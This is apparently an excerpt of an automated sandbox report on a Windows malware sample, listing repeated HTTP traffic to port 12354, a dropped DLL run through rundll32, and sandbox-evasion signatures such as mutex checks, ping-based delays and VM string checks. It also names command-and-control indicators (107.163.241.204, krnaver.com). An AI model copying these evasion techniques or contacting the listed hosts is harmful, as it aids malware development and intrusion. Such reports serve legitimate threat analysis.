Source: unknown	Network traffic detected: HTTP traffic on port 50416 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50450 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50483 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50487 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50517 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50571 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50610 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50614 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50675 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50726 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50730 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50804 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50810 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50858 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50861 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50959 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50969 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51054 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51059 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51165 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51270 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51281 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51398 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51413 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51526 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51647 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51656 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51746 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51754 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51887 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51895 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53096 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53196 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55196 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55373 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56825 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56943 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58262 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58391 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59886 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60187 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62140 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62324 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63850 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63953 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49408 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49568 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50887 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50978 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52262 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52324 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53384 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53421 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55505 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55526 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56247 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56326 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57951 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58061 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58996 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60767 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60826 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62599 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62749 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64837 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64938 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50770 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52076 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52148 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54178 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54341 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56340 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56384 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58345 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58350 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59128 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59213 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60550 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60645 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61837 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61878 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63820 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63928 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49227 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49286 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51179 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51231 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52745 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52943 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55099 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55105 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56148 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56266 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57522 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57654 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59061 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59074 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60826 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60939 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62420 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62477 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64620 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64839 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51424 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51593 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52000 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52120 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54323 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54419 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56239 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56241 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58669 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58756 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60811 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60813 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62747 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62754 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64340 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64411 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51627 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51781 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53250 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53449 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54167 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56076 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56250 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57568 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57657 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60035 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60195 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 61976 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62080 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64142 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64288 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65421 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 65491 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51155 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51268 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52585 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52771 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 54999 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55132 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56775 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 56923 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58580 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58639 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60181 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 60346 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62705 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 62711 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63434 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 63529 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64828 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 64971 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50467 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 51864 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 52000 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53660 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 53773 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55792 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 55930 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57469 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 57499 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58773 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 58794 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59420 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 59536 -> 12354

Source: C:\Users\user\Desktop\XgijTrY6No.exe	Code function: 0_2_00402138 IsIconic,#470,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,#755,#2379,		0_2_00402138
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Code function: 5_2_00402138 IsIconic,#470,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,#755,#2379,		5_2_00402138

Source: C:\Users\user\Desktop\XgijTrY6No.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XgijTrY6No.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\XgijTrY6No.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_6-5800

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 878			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 6157			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)	graph_6-6262
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)	graph_5-1054
Source: C:\Users\user\Desktop\XgijTrY6No.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)	graph_0-1055

Source: C:\Users\user\AppData\Local\Temp\mszcy.exe

Dropped PE file which has not been started: C:\ftelcs\rjqzr.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

graph_6-6015

Source: C:\Windows\SysWOW64\rundll32.exe TID: 7612	Thread sleep count: 878 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7612	Thread sleep time: -8780000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7724	Thread sleep count: 74 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7712	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7708	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7560	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7928	Thread sleep count: 125 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7928	Thread sleep time: -37500000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7920	Thread sleep time: -1260000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7908	Thread sleep time: -2400000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7616	Thread sleep time: -7200000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7928	Thread sleep count: 6157 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7928	Thread sleep time: -1847100000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7560	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000B0A0 lstrcpy,lstrcat,lstrcat,lstrcat,FindFirstFileA,FindNextFileA,rand,lstrcpy,lstrcat,lstrcat,_strcmpi,GetTickCount,srand,rand,rand,rand,rand,rand,rand,rand,rand,wsprintfA,wsprintfA,WinExec,Sleep,wsprintfA,Sleep,strchr,strchr,strchr,strchr,atoi,WinExec,DeleteFileA,Sleep,lstrcat,FindNextFileA,FindClose,		6_2_1000B0A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_100052A0 FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,		6_2_100052A0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100060E0 strrchr,strncpy,strncpy,strncpy,GetSystemInfo,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,sscanf,

6_2_100060E0

Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: rundll32.exe, 00000006.00000003.1572438175.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1653072832.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3515855541.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2262348463.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3031593454.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3597257344.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2422989775.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3758155005.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2222059550.0000000000D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3803023615.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000006.00000002.3802838449.00000000008AB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: s\Applications\\VMwareHox
Source: XgijTrY6No.exe, 00000000.00000002.1349290968.000000000057E000.00000004.00000020.00020000.00000000.sdmp, mszcy.exe, 00000005.00000002.1358415143.000000000081E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\XgijTrY6No.exe	API call chain: ExitProcess graph end node	graph_0-726
Source: C:\Users\user\AppData\Local\Temp\mszcy.exe	API call chain: ExitProcess graph end node	graph_5-765
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_6-5805
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_8-344

Source: C:\Users\user\AppData\Local\Temp\mszcy.exe

Code function: 5_2_0040229F _EH_prolog,EnterCriticalSection,#540,SendMessageA,#3998,#6907,#6907,#2818,#6907,GetSystemTime,#2818,LdrInitializeThunk,#6907,LdrInitializeThunk,#6007,#823,#823,memcpy,LdrInitializeThunk,#6007,LeaveCriticalSection,#800,

5_2_0040229F

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_100051B0 LoadLibraryA,GetProcAddress,GetExtendedUdpTable,malloc,GetExtendedUdpTable,Sleep,htons,free,FreeLibrary,

6_2_100051B0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 202.108.0.52 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: krnaver.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 107.163.241.204 12354	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\mszcy.exe C:\Users\user\AppData\Local\Temp\\mszcy.exe "C:\Users\user\Desktop\XgijTrY6No.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
